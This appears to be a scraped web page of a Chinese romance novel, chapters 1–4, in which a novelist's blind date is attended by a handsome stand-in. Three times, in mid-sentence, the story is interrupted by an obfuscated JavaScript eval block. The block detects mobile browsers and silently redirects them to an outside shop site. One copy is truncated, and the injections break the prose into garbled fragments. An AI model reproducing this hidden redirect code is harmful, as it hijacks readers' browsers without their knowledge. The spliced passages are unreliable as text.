《荔枝味心动[男暗恋]》 1. 第一章 初春的广东是被回南天笼罩的季节,到处都湿漉漉的,就连空气里也漫着潮气。 “对,我已经到了。”邬荔坐定在桌前,继续对着电话那头讲着:“好啦好啦,我会认真对待的,等结束给你汇报情况啊。” 挂断电话,邬荔沉肩松了一口气。 她偏头看向窗外阴沉沉的天空,如果不是妈妈整天在家里念叨她的终身大事非给她安排什么相亲,那在这样的天气她是绝对不会出门的。 她从小就时间观念强,现在更是比约定时间早到了半个小时。 邬荔点开和妈妈的聊天记录想要再复习一下相亲对象的资料,闺蜜齐溪的消息先一步弹了出来。 齐溪:【战况如何呀,见到相亲对象了吗?他高不高?帅不帅?是不是你的菜?】 邬荔看到消息,也懒得打字回复了,直接打过去视频电话。 对方一秒接通,齐溪满脸八卦的表情出现在她的手机屏幕上,“怎么不说话?快给我看看你的相亲对象,我都要好奇死了!” 邬荔把手机架在桌子上,双手托腮说:“人家还没来呢。怎么,你那么关心我的相亲对象,难道是想亲自上阵?反正我也不想相亲,你早说我让你替我来啊。” “拜托,我可是有男朋友的,也就是你,都二十六了还母胎solo。”齐溪恨铁不成钢地说道,“我就想不通了,你这些年光顾着给你的纸片人创造甜甜的爱情,怎么没想着自己去谈一个呢?” 邬荔撇撇嘴,回答道:“那生活和小说能一样吗?现实里比我好的我谈不上,比我差的我又不想谈,那些又高又帅还专一的男人是不会在三次元流通的。” “你啊你啊,这辈子还能不能开窍都是个问题。”齐溪无可奈何地摇摇头,随之又说:“不过你也别太紧张,第一次相亲就算失败了也是正常的,你就当来积累素材了。” 邬荔点点头,心想其实她今天就是来走个过场的,本来也没想着真的能靠相亲找男朋友。 两人东扯西扯地聊了没多久,邬荔就听见屏幕里传出男人的声音在说开饭了,便自觉地挂断了电话,不然下一秒就能看到齐溪和她男朋友对着她撒狗粮。 邬荔抬手看了眼时间,离约定好的七点已经只剩十分钟了,所谓的“相亲对象”还是连一个影子也见不到。 奇怪的是,邬荔没有半点失落,反而有些庆幸地想着,或许对方也和她一样不想相亲,干脆放她鸽子。 光是想想邬荔就快要笑出声来,这样最好了,可以无痛向妈妈交差。 可万一那人来了呢? 毕竟还有十分钟,要是那人来了她却没有认出来,岂不是很失礼。 邬荔最终还是打开了妈妈发给她的资料,她刚收到这一组信息的时候还以为是妈妈和她在开玩笑,就没想着认真对待。 谁知道妈妈居然是认真的,甚至还打听到了对方的喜好,连餐厅都是对方喜欢的粤菜,完全不顾自己的女儿这个无辣不欢的口味。 “梁嘉文,身高176,化学工程师……”邬荔一行行看下去,她最不缺的就是想象力,这些虚拟的数据在她脑子里大概构成了一个清瘦、戴眼镜、话不多的典型工科男形象。 划到信息最下面,邬荔点开图片打算验证一下自己的猜想,不料只加载出了模糊的身影和一行小灰字——“图片已过期或已被清理!”。 嗯,这下真的是开盲盒了。 邬荔心里对这场相亲更加不抱期待了,毕竟光是看文字她就知道这不是她喜欢的类型。 她自认肤浅,理想型首要就是长得帅,有一米八就更好了,还有腹肌就更更好了。如果这些都有,那就还要性格温柔,不烟不酒…… 总之条件一箩筐,齐溪曾经听完她的理想型要求之后表示:除了把言情小说里的男主角扣出来,否则提着灯笼也难找到这样的人。 想到这里,邬荔将手边的茶水一饮而尽,不禁感叹道或许这样的男人真的只存在于她的想象里。 “你好,请问是邬荔小姐吗?” 男人沉稳的声音在邬荔耳边响起,她随着声音的方向望去。 对方站在桌边距离她一臂远的位置,邬荔先看见的是被黑色皮带包裹的劲瘦的腰身,白色打底利落地收进其中,卡其色开衫在餐厅暖黄的灯光下显得格外柔和。 再往上看,居然是一张和她刚才的想象截然相反的一张脸。 这也长得……太好看了吧! 还有这宽肩窄腰,怎么看也和“清瘦”搭不上边。邬荔忍不住又从上到下飞速打量了一番,心想:“这头到脚的距离,真的是176不是186吗?” 邬荔匆匆咽下口中的茶水,回答道:“对,是我。你是……”她一时没想起对方的名字,又急忙瞄了眼手机的资料,“梁嘉文,是吗?” 他笑了笑,却摇摇头轻声道:“我不是。” 邬荔大脑有些宕机,难道妈妈不止给她约了一个人来相亲吗?还是发错信息了?她也不记得自己认识这么一个大帅哥呀。 “自我介绍一下,我叫程一叙,路程的程,数字一,叙旧的叙。我是来相亲的。” 等邬荔反应过来的时候,程一叙已经坐在她对面的位置上。 她看看手机,再看看对面的人,确定那不是自己的相亲对象之后不自觉地握紧手机,另一只手悄悄反握住身后的包包。有些警惕地说道:“我是约了人相亲,但那个人不是你,你是不是认错人了?” 程一叙见邬荔仿佛下一秒就要拎包走人的架势,赶忙解释道:“你放心,我不是坏人。”然后又掏出手机点了点,将一张照片放在她面前,继续说:“你原本的相亲对象是他吧。” 邬荔看了眼那张照片,上面是一个戴眼镜的寸头男人,五官还算端正,但比起眼前这张脸还是逊色太多。 “怎么,这是你整容前的样子吗?”她现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591042|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真有些后悔没有早点打开妈妈发给她的那张照片,不然也不至于连梁嘉文究竟长什么样也不知道,只能硬着头皮套对方的话。 程一叙听了这话,本就挂着笑意的嘴角更是收不住。 “你笑什么?”邬荔越想越不对劲,长这么好看的人怎么会来相亲,笑起来看着你的时候像是要把你的魂都勾走了,肯定不是什么正经人。 她觉得自己遇到传说中的“杀猪盘”了,不打算和对方纠缠下去,起身就要走。 “是梁嘉文!”程一叙脱口而出,生怕晚说一秒邬荔就会从他的视线消失。 邬荔听到这个熟悉的名字,快要踏出去的步子又收了回来,她倒要见识一下“杀猪盘”是怎么骗人的。 程一叙看她虽然半信半疑但还是坐回了位置上,立马正色道:“我是替梁嘉文来相亲的。” “替?”邬荔不解,“他不想来的话大可以转告我今天相亲取消,为什么还让别人替他来?” “这就有些说来话长,不如我们边吃边聊?”程一叙将手边的菜单递给邬荔,“这顿饭我请,就当是我替嘉文向你赔罪,你觉得可以吗?” 邬荔也不客气,拿过菜单就开始勾选,她想着自己的时间可不能白白浪费了,既然对方开口了,就算是个骗局她也要吃回本才行。 清蒸东星斑、鲍鱼焗鸡、波士顿龙虾……她决定狠狠薅程一叙一笔,把她平时舍不得吃的“大菜”通通点了一遍。 点完没一会儿,服务员把一长串的小票别在夹上放回桌边。 接着邬荔目不转睛地盯着程一叙说道:“菜点完了,现在可以说了吗?” 程一叙也毫不掩饰地迎上邬荔的目光:“今天的相亲是梁嘉文父母组的局,他们希望梁嘉文找一个本地的女生在一起,却完全忽略了他本人有一个已经交往五年的女朋友。 这件事被他女朋友知道后连夜回了老家,他想和家里人讲清楚然后取消相亲,但老人家刚做完手术不能受刺激,然后他就找上了我。不得已才让我替他走完这个过场,这样对你和你家长也都有个交代。” 借口不错,邬荔心想,现在的杀猪盘还算没把人当傻子。 “你说梁嘉文不得已才找你替他相亲,那他人在哪?这么简单的事情让他自己跟我解释清楚不是更好吗?” “在这里。”程一叙又把手机递到他面前,上面是朋友圈的页面,备注是梁嘉文的底下发布了一张双人合照并配文“追妻成功!”。 邬荔接过手机将照片放大看了几遍,确实是和程一叙一开始给她看的男人长得一样,这才勉强有七分相信他的说辞。 “那你今天帮他跟我相亲,不怕我看上你了?”邬荔还是留着些防备,就算对方不是坏人也是个陌生人,她可不会因为男人秀色可餐就被蒙蔽双眼。 “不怕。”程一叙几乎没有思考,他微微向前探身拉近了两人之间的距离,“那会是我的荣幸。” 2. 第二章 程一叙突然的靠近让邬荔猝不及防,连呼吸都停了一瞬,现在满脑子除了面前的这张帅脸就是他刚才说的话。 荣幸?现在的骗子都这么敬业了吗? “咳咳,假设而已,你别当真。”邬荔不动声色地往后靠了靠,又恢复了之前的距离,只是不知道程一叙喷的什么香水,她才闻了一下,那味道就一直在她鼻尖挥之不去。 不过……还挺好闻的。 “嗯,我知道。”程一叙将双手交叉放在桌子上,一副正襟危坐的样子,说:“我们才第一次见面,彼此都还不够了解,女孩子做决定是要慎重些。” 邬荔心想,她才不要了解一个骗子,嘴上却说着:“好啊,但是从刚才到现在你就只说了你的名字,这要我怎么了解你?” 程一叙还没回答,点的菜先一步上来了,林林总总快十个菜品一下子摆满了大半张桌子。 这么多美食放在眼前,还哪有帅哥什么事。邬荔拿起筷子大快朵颐,几口美味下肚,早就把自己说的话抛到九霄云外。 “你怎么不吃呀?”邬荔吃了半只龙虾,才反应过来面前的人好像一筷子也没动。说是请客,但也没有只顾自己吃饱让买单的人饿肚子的道理,况且她专挑贵的点,这一顿饭没有四位数是不可能的。 “我在想,要怎么样才能让你了解得更多。”程一叙眼神真挚,没有半点敷衍的样子,像是真的思考了很久。 邬荔没想到自己随口说的话程一叙还真听进去了,她有些不好意思地放下筷子,语重心长地对他说:“其实吧,了解的事可以慢慢来,但菜凉了就真的不好吃了。”说完才又拿起筷子,夹了一块龙虾肉放到他碗里。 程一叙看着碗里的龙虾肉又看看眼前吃得正欢的女孩,莫名觉得对方身上有种魔力,好像总是能轻而易举地让他沦陷。 “好,我们慢慢来。” 邬荔嘴里塞满了吃的也不好说话,只能冲他一笑,心里却认定对方是个傻的,等吃完她就跑,哪有什么“慢慢来”。 一顿饭吃得如坐针毡,倒不是因为其他,主要是邬荔发现程一叙一个大男人的饭量居然比她还小,基本上每道菜都是浅尝辄止。她也不好意思问人家原因,只想着吃快些好跑路,毕竟四位数的账单可不是她能负担得起的。 好不容易吃完了,邬荔正愁怎么找借口溜走,忽地瞥见原本还只是阴沉的天空现已彻底黑了下来,雷霆大雨伴着闪电倾泻而下。 她灵机一动,想到一个绝妙的点子。 “哎呀!遭了!”邬荔拿出手机,看着亮起的屏幕发出一声哀嚎。 “怎么了?”程一叙关切地问。 邬荔一脸沉痛地抬起头,语气悲伤地说:“我家被水淹了!” 她也不给程一叙反应的时间,一边抓起包一边语速飞快地说:“今天先这样吧,我得马上回去了,我们有缘再见啊!”说完便头也不回地跑出了餐厅。 “哎……”程一叙瞧着眼前的女孩兔子似的不见了踪影,想说的话只能咽回肚子里。 怎么走这么急,连联系方式都忘了给。 等买完单,他才倏地琢磨过来。 他是不是……被人当成骗子了。想到这,程一叙自嘲一笑,原来不是真着急回家,却是真不想给联系方式。 他偏头看玻璃窗映出自己的倒影,身上是精心搭配的衣服,还喷了特意挑选的香水,又花了半个小时折腾头发,到底哪里不像好人了呢? - 幸好商场直通地铁站,邬荔顺着人群挤进地铁,虽然没位置坐但被她抢到一个还不错的角落站着,不至于让人挤到前胸贴后背。 终于有了喘息的时候,邬荔点开和齐溪的对话框,马不停蹄地开始了对今晚相亲的吐槽。 邬荔:【在吗?我跟你说今晚的相亲真的太可怕了!】 齐溪秒回:【细说,是相亲对象长得太可怕还是他做的事太可怕?】 邬荔又回忆了一下程一叙的长相,毫不犹豫地回复:【那倒不是长相的问题,不过那人帅得过分,在相亲市场上也算是很可怕的存在了。】 齐溪:【?你眼光这么高都觉得帅,那是有多好看啊。】 邬荔发现自己又被带偏了,赶紧打住:【哎呀先不说这个,我觉得我今天可能是遇到杀猪盘了!】 齐溪愣了一会,发了个疑惑的表情包,示意邬荔继续说下去。 【来的人和我妈妈给我发的人完全不是同一个,从名字到身高,除了性别没有一样是符合的。】 齐溪:【杀猪盘不都是奔着骗钱骗感情来的吗?那你那个相亲对象有没有对你做什么图谋不轨的事情?有的话我现在就帮你报警!】 邬荔知道齐溪这个人讲义气,生怕她下一秒就打电话110,赶紧打字:【没有没有,我什么都没被骗。】 这话一出,反倒把齐溪整蒙了,她不解地问:【那他对你做什么了?】 对啊,他对我做什么了? 刚才的画面在邬荔脑海里不断闪回,她突然发现,自己不仅没被占到便宜,反而看着秀色可餐的帅哥吃了一顿免费的千元大餐。 这怎么跟传说中的骗局不一样呢? 邬荔从头到尾把相亲的经过和齐溪复盘了一遍,这才发现她漏掉了一个细节,就是梁嘉文到底长什么样子。 如果梁嘉文的长相和程一叙给她的照片一样,岂不是意味着程一叙说的都是真的,那她对他做的事情……也太不礼貌了。 想到这,邬荔也顾不得地铁上人多嘈杂,赶忙拨通了妈妈的电话。 一接通,妈妈焦急的声音先从电话里传了出来,“荔荔啊,妈妈正想给你打电话呢。今天的相亲不顺利吧?” “妈妈你怎么知道的?”邬荔心里隐隐察觉到有些不对。 “都是妈妈不好,没给你打听清楚,我都不知道那个梁嘉文是有女朋友的!他爸妈也是的,明知道儿子有女朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591043|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友了还让他来相亲,你说这都是什么事儿!”柳芳月在电话生气地吐槽着。 邬荔一时间不知道该怎么开口,等电话那头妈妈的怒气稍微平息,她才讪讪问道:“那妈妈你能再发一次梁嘉文的照片给我吗?” “嗯?我之前不是发过了吗?” “妈妈我好像,好像做了一件错事……”邬荔听完妈妈的话大概已经猜到了答案,她一想到自己对程一叙那么不客气,就尴尬地脚趾抠地,恨不得小说里面的穿越是真的存在的,好让她穿越到两个小时前,她一定不会干那些蠢事了。 地铁到站,邬荔也彻底心死了,手机里还没关掉的照片,赫然映着梁嘉文的脸。 她浑浑噩噩地往家走,完全不顾刚下完暴雨潮湿的地面已经将她的白色裙子染脏。 一路上,她想了很多,理智告诉她要找到程一叙好好跟人家赔礼道歉,情感上又迈不过去自己心里这道坎子,更何况她连人家联系方式都没有,找到人的概率堪比大海捞针。 总算是走到家门口,邬荔决定先好好睡一觉,明天再思考这个让人头疼的事。 可她刚踏进玄关一步,脚下不似平常的触感让她瞬间清醒,湿哒哒的感觉让她头皮一紧。 糟了!该不会一语成谶了吧?! 在开灯看清一切的瞬间,邬荔多么希望自己眼前的都是假象。 客厅的天花板塌了一块,到现在淅淅沥沥的水从上面往下渗,整个客厅都被水淹了,所有家具全部变得湿淋淋的。 邬荔顾不上抢救被淋湿的家具,一头扎进卧室,万幸的是卧室只有一角被打湿了。在仔细检查自己的电脑和重要证件没有被祸害后,她才松了一口气,勉强打起精神去联系房东。 这个一室一厅的房子是旧楼盘了,邬荔为了上班方便才租的这里,现在被水淹了不说,她上个月也刚辞职,本想着等合约到期再搬走,现在看来不想搬也不行了。 房东说是楼上爆水管这才殃及池鱼,今天太晚了,具体的事只能等明天他来处理。 邬荔看着一屋子狼藉头都大了,眼不见为净,她把重要的东西都收拾好,拿了套换洗衣物去小区对面的快捷酒店凑合一晚。 等把一切整理好,洗完澡再躺到床上的时候已经过了十二点。 经历了比小说剧情还抓马的一天,真让她休息反而还睡不着了。 翻来覆去也没有睡意,邬荔干脆起床翻出了随身携带的日记本,把昨天的经历一点点写下。 “2025年3月1日,天气特别差。今天是我人生中第一次相亲,遇到了一个奇怪的人……” 从遇到程一叙之后的一幕幕在她笔下开始回放,写着写着,已经枯竭了一年的灵感源泉突然开始冒泡泡。 一个接一个的情节在她脑子里浮现,邬荔迅速抄起放在床头柜充电的电脑,打开许久不曾点开的码字软件,在空白处敲下—— 《从乌龙开始心动》文/糖荔 3. 第三章 “铃铃铃——” 熟悉的闹钟声在邬荔耳边急促地响起,她闭着眼在床头胡乱摸索手机,终于在枕头下找到罪恶的来源。 邬荔眯着眼掐掉恼人的闹钟,正准备看一眼现在几点了,谁知解开锁屏的瞬间,整张屏幕就被微博的消息提醒占满。 “嗯?怎么这么多消息?”她顺着页面提醒点进去,揉了揉眼睛想要看得更清楚些。 粉丝甲:【我的太太你终于回来了!太太做饭还是一如既往地香!】 粉丝乙:【老师这么久不更新我还以为退圈了(大哭)】 粉丝丙:【女神我会永远追随你!】 …… 类似这样的消息接二连三地跳出来,邬荔眼睛也不迷糊了,脑子也清明了,整个人彻底清醒。 邬荔昨天晚上灵感大爆发,洋洋洒洒写下一万多字,“本着独乐乐不如众乐乐”的想法,发了个试阅在微博上。 她本以为自己的一万粉丝里面至少有一半是僵尸粉,但现在看着热闹非凡的评论区好像并没有她想象的悲观。 新文是她一贯的甜宠风格,甜品师女主和牙医男主因为一场相亲乌龙引发的一系列故事,不同于寻常的套路甜文,这次的男主角温柔又深情,从高中就开始暗恋女主角。而女主角清醒坚韧,虽然一开始对男主角只有昔日同窗之情,但在重逢后一点点被他打动。 邬荔自认为这是个简单的故事,简单到足够美好的爱情反倒成了现实里可遇不可求的珍贵。 试阅仅仅发了文案和第一章就获得了读者不错的反响,邬荔趴在床上边看评论边回复。 有读者问她是怎么想到要写这样一个故事,其实她也不知道,只是昨晚写到相亲的时候鼻尖好似嗅到一股莫名的甜香,让她忽然很想吃蛋糕,这才想到要写一个每天和甜品打交道的女主角。 毕竟会做小蛋糕的人能有什么坏心思呢? 邬荔觉得她的女主角的人生一定会比她做的甜品还要甜。 不知不觉她在评论区逛了一个小时,要不是齐溪一个电话打进来,她觉得她还能再看一个小时。 “大作家起床了吗?”齐溪在那头笑着问,“真不愧是作家啊,去相个亲都能写一篇文出来。” 邬荔听了也想笑,可转头看到地板上乱糟糟的行李,到嘴边的笑忽然就成了叹气,“哎别说了,我要是有主角那么幸运就好了。” “怎么了?是发生什么了吗?”齐溪听出了她语气的不对。 “你都不知道,昨天我一回去家里就发大水了,人果然说话要避谶!”邬荔不情不愿地从床上爬起来,准备去洗漱,“我现在还在酒店呢,都不知道房子还能不能继续住。” “天哪,那要是不能住了你去哪呀?回你爸妈哪儿?” 邬荔停下手上挤牙膏的动作,想了想说:“不知道,我还没告诉他们我辞职了,而且昨天相亲不是失败了吗,如果我回去肯定又是一顿相亲大轰炸。” 齐溪听完沉默了一会儿,突然她像是想起什么似的说道:“要不,你来我家住?” “你怎么知道我就等你说这句话了。”邬荔含着泡沫含糊不清地说,不过她一想到齐溪和陈立勋从在一起到现在就不停地给她撒狗粮,等她漱完口又补充道:“还是算了吧,你真要我去你家当电灯泡啊。” 齐溪知道邬荔最怕麻烦,但她这次真的不是客套,“我说真的,我和陈立勋准备同居了,可现在租的这个房子还有三个月才到期,我正愁转不出去呢。你要是没地方去正好可以搬过来,租金和你现在的差不多。” 这确实是个好办法,但邬荔也没急着答应,她想先等房东那边的消息再做决定,或许房子没有损坏得那么严重,那她还能继续住下去。 挂断电话,邬荔看了眼时间已经快十一点了。收到房东的消息说刚到现场,她也马上换好衣服往那边赶。 等到了现场,房东已经和物业还有楼上的业主协商得差不多了,楼上的业主承担主要责任,物业也会承担一部分责任。 房子是老房子,房东也是个和气的小老头,见到邬荔主动说可以退租退押金,还免费给一周的时间让她搬走。 本来邬荔还想着能住的话不一定要搬,可房东有意趁这次事故重新装修一下,话都说到这份上,她也没理由留下不走。 等送走一行人,邬荔没再纠结,直接发信息给齐溪说自己可以接手她的房子。 齐溪也是个爽快干脆的人,让邬荔先把能带走的大件行李整理出来,一会儿她带着陈立勋一起来帮她搬家。他们有车,趁周末能帮一点是一点。 邬荔这次没拒绝她的好意,转头就开始收拾起来。她在这住了两三年了,东西不仅多还细碎。简单清扫之后,她把泡了水的不能要的全都扔掉,只留下方便带走的必需品。 不知道过了多久,邬荔收拾得腰都酸了,才总算清理出三大箱东西。她坐在椅子上力竭地锤着腰,还没休息一会儿,就听见屋外响起了敲门声。 邬荔扶着腰去开门,来的人果然是齐溪和陈立勋。 齐溪一进门,看着累得直不起腰的邬荔和满屋狼藉,心疼地说:“我靠!你这也太背了吧!” 邬荔没力气招呼他们,趴在餐桌上有气无力地点头:“是啊,感觉最近水逆,做什么都不顺心。” “忙这么久还没吃饭吧?”齐溪把手里的饭盒放在邬荔手边,“刚路过你最喜欢的店,给你买的酸辣粉,快趁热吃。” 邬荔闻到食物扑鼻的香气,这才惊觉自己从早上到现在粒米未进,一下子被眼前色香味俱全的酸辣粉勾起了馋虫,迫不及待地打开饭盒狼吞虎咽地吃了起来,边吃边说:“呜呜呜,你真是我的好姐妹……” 齐溪被她的样子逗笑,“不着急啊,我们先帮你把东西搬上车,你慢慢吃。”说着往身边陈立勋的方向看了一眼,见他站在客厅一动不动,没忍住啧了一声:“还愣着干嘛,帮忙搬呀!” 女朋友的嗔怪对陈立勋很受用,他笑着说:“收到!小的这就去!”然后撸起袖子就开始当苦力。 等邬荔吃完,屋子里比较大的行李基本上都被陈立勋搬上车了,只剩最后几个零星的小箱子,她和齐溪一人拿几个很快就全部清空。至于其他零碎的东西,邬荔打算等安顿好之后再自己来拿。 他们一起上了车,去新家的路上,齐溪问她接下来有什么计划。 邬荔靠着车窗,看着熟悉的景色渐行渐远,轻声回答道:“小溪,我准备开始新的人生了。” “说来听听。”齐溪一脸期待地望着她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591044|205462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我刚刚决定,要当一个全职作家。”邬荔回望齐溪,眼神里是久违的兴奋,“我想要在我还有能力的时候,全力以赴去追求一次自己真正的热爱,可能结局会很惨淡,可我还是想要试试。” “好!作为朋友我们将全力支持你!”齐溪说道,陈立勋也在等红绿灯的空当插嘴说:“择日不如撞日,今晚就让我们用热辣滚烫的火锅为这位勇敢的追梦人铺垫一个火红的前程吧!” “我看是你想吃吧!”齐溪一拳打到陈立勋的胳膊上,顿时三个人都笑作一团。 很快他们就到了新家楼下,说是“新家”,但其实邬荔一点也不陌生。 新家在良缘路六号小区,虽然是老城区但周边交通十分便利,附近很多小区的临街商铺都被改装成了新奇潮流的咖啡店或者酒吧。以前邬荔每次来找齐溪都喜欢拉着她出门citywalk,一天逛下来能收获不少好吃的好玩的。 房子才腾空不久,加上三个人效率比邬荔一个人忙活高了不少,等夜幕降临的时候邬荔的新家也已经有了雏形。 恰好到饭点,他们在不远处的火锅店落座。邬荔请客,另外两人也不跟她客气,一顿饭把一天的劳累都补了回来。 吃饱喝足,邬荔一个人回到她新租的房子。她站在房间中央,看着空荡荡的房子一点点被自己的东西填满,她的心也渐渐有了方向。 她想,往后一切,都是新的开始。 - 一周后,邬荔彻底在良缘路安顿下来。 周六齐溪上门时看见她正在阳台给新买的月季浇水,她笑着问道:“住的还习惯吗?怎么感觉你变了啊,现在变得那么热爱生活了?” 邬荔闻声回头莞尔一笑,“拜托,我一直很热爱生活好不好!”她放下手里的喷壶往屋内走,“你也不看看之前我过的是什么日子,每天都要加班就算了,还是单休,碰上新书连载期更是忙得团团转,哪还有时间感受生活。” 齐溪对着她挥了挥手里的纸袋,“来看看我给你带了什么?”她边说边打开袋子,把里面的东西放到餐桌上。 邬荔还没走近就闻到一股诱人的甜香,待她定睛一看,餐桌上已经摆好了一个抹茶毛巾卷和一个巴掌大的慕斯蛋糕。 “哇塞!你在哪里买的?”邬荔凑近才发现两个小蛋糕各有各的精致,白色奶油裱花栩栩如生地开在绿色的抹茶蛋糕胚上,另一个慕斯蛋糕上面铺满了满满的蓝莓,周围还点缀了一圈紫色果酱。 她拿起旁边的小勺子,挖了一勺蛋糕送进口中,细腻的慕斯一抿即化,蓝莓的酸甜又很好的丰富了口感的层次,是她喜欢的味道。 “就在小区外的蛋糕店,新店开业还送了我一张体验券。”齐溪从纸袋最底层掏出一张卡片,递到邬荔面前。 “甜品制作体验卡,可任意选择店里的其中一款甜品免费体验制作过程,制作完成后可以将其带走……”邬荔顺着卡片上的内容念完,说道:“不错啊,听起来是挺有意思的,我们什么时候一起去吧。” 齐溪摇摇头,边吃边说:“这是个人体验券,我就不陪你去了。正好你的新书主角是甜品师,你好好感受过程,也算是素材积累了。” 邬荔了然,将卡片翻过一面,上面赫然写着“一叙·甜品”。 4. 第四章 “怎么不吃了?”齐溪见邬荔一动不动地看着手里的卡片,舀了一勺蛋糕送进口中,说道:“味道很好啊。” 邬荔闻言回过神来,指着卡片上的那几个字,有些不可思议地说:“小溪你看这里!” 齐溪一脸疑惑地看过去,“这不就是甜品店的名字?有什么奇怪吗?” “这和上周我那个相亲对象的名字一模一样!”邬荔呼吸急促,语气也带上了几分激动,“你今天去店里的时候有看见特别帅的男生吗?还很高,肯定一米八往上了。”说着她还站起来比划了一下。 齐溪咬着勺子忍俊不禁,说:“没有!今天店里接待我的只有一个女生,要真见到了帅哥那我肯定第一时间喊你下来和我一起看啊!” “也是哦。”邬荔恹恹坐回椅子上。 “你就是想太多了,吃块蛋糕冷静一下吧。”齐溪不由分说地往邬荔嘴里塞了口浓郁的抹茶卷。 微苦软韧的抹茶饼皮搭配绵密的奶油,美味带给味蕾的冲击一下子淡化了邬荔的郁闷。 “说到帅哥,我想起来一件事。”齐溪若有所思,“刚才我上来的时候发现旁边也在搬家呢。” “新邻居很帅吗?”邬荔不以为意。 “嗯……虽然我没看见正脸,但从背面的身高和身材来看,气质非常不俗哦。你有机会可以去发展一下,别老窝在家里写小说,要多出去走走才行。” “不要,男人只会影响我码字的速度。” 齐溪见邬荔拒绝地干脆,又说:“你不出门不代表缘分不会自己找上门呀,这可是''良缘路'',我和老陈就在这里成的!” 邬荔闻言立马效仿起齐溪刚才对她做的动作,赶忙挖一大勺蛋糕堵住她接下来的话头。 齐溪工作压力大的时候喜欢喝点酒放松自己,就是在良缘路的一家清吧遇见了同样来放松的陈立勋。本来只是拼桌,可到最后不知怎么就拼到了床上去…… 这个故事邬荔听了八百遍,她并不理解这种爱情的开始方式,但相处下来发现陈立勋确实是个不错的人,加上齐溪也确实是见色起意。 好在现在他们过得很幸福,她也在心里替他们开心。 吃完蛋糕,齐溪还有事要先走。邬荔把她送到门口,回头时不自觉地看了眼隔壁敞开的大门。 只看见几个搬家工人抬着家具往里面进,她想到刚才齐溪说的话,自嘲地笑了笑,心想:“真是写小说写傻了,现实里哪有那么多帅哥。” 待关上门,邬荔收拾起餐桌上的包装袋,那张写着“一叙·甜品”的卡片从桌上滑落。 她俯身捡起,卡片上的暗纹摩挲着她的指尖,简约精致的设计不像是普通的名片,更像是一张富有诚意的邀请函。 邬荔悬在垃圾桶上方的手一顿,忽然觉得这么好看的卡片丢了怪可惜的,顺手塞进了椅子旁悬挂的背包里。 - 翌日清晨,邬荔睡得正香,不承想房间窗帘被无情地拉开,刺眼的阳光直射到她脸上。 她条件反射用手掌挡住眼睛,脑子还没反应过来,邬母柳芳月的声音如闹钟般在她耳边炸起:“快起床快起床!都几点了还在睡!” “……妈妈,现在才八点啊。”邬荔点开枕边的手机,有气无力地说。 “哎呦,忘跟你说了,上次相亲不是没成嘛,后来你的琳姨听说了,要把她的外甥介绍给你!”柳芳月自顾自地说着:“听说那小子国外留学回来呢,我帮你约了他十点钟在茶楼见面。你快些起来洗脸刷牙,化个妆穿好看点啊。” 说完又风风火火地走出房间,邬荔这下不醒也不行了,拖着不情不愿的步子一点点挪去洗手间洗漱。 她看着镜子里自己憔悴的样子,再一次感到心累。 自从工作稳定之后邬荔就从家里搬了出去,但每周六下班她都会直接回家,妈妈会在家煲好汤等她,第二天一家三口还会一起去喝早茶。 她一直把周日当做自己和父母的轻松时刻,可这两年不知道为什么,柳芳月对她的终身大事越来越紧张,最近更是到了恨不得每周给她介绍一个对象的地步。 她知道妈妈是在为她打算,但这真不是她想要的。 邬荔弯腰掬起一捧水胡乱扑洒在脸上,冰凉的触感让她清醒了不少。“这是最后一次。”她想,“一定要找机会和妈妈说开才行,别到头来一场恋爱没谈,反倒先对爱情落下PTSD了。” 九点四十,茶楼里邬荔提前坐在定好的位置上。 一回生,二回熟。对比第一次相亲的不自在,她现在的心态可谓是毫无波澜。 这次的相亲对象没让她等太久,茶还没倒上两人就碰了面。 “你好,请问是芳姨的女儿吗?” 说话的人穿着衬衫西裤,身材和长相都是中规中矩的样子,只是在邬荔休闲的连衣裙下显得他的装扮有些过分庄重了。 “是的,我叫邬荔。”邬荔对他点点头。 “我叫林盛。”那人在她对面坐下,直奔主题地继续说道:“我今年二十九岁,在日本留学工作了三年,现在回来这边发展……” 邬荔本来就没睡好,现在看着对面的人的嘴巴一张一合,说的每句话都从她左耳朵进右耳朵出,看似听得专注实则一点也没记住。 “邬荔?” “啊,什么?”突然听到自己的名字,她这才回过神来,“抱歉啊,你刚刚说什么我没听清。” 林盛微微一笑,说:“我听说你是做策划的是吗?” 邬荔一愣,差点忘了还没告诉家里已经辞职的事,随即僵硬地点头:“嗯,是的,我在一家私企做活动策划。” 林盛又问:“我提前看了一下,感觉你目前这个行业的发展空间不是很大,没有打算考个研或者跳槽吗?” 邬荔眉头一紧,在她看来未来规划也属于个人隐私的范围,显然不是第一次见面的陌生人可以讨论的话题。 但她还是礼貌地回答道:“没有,暂时没有这个计划。” 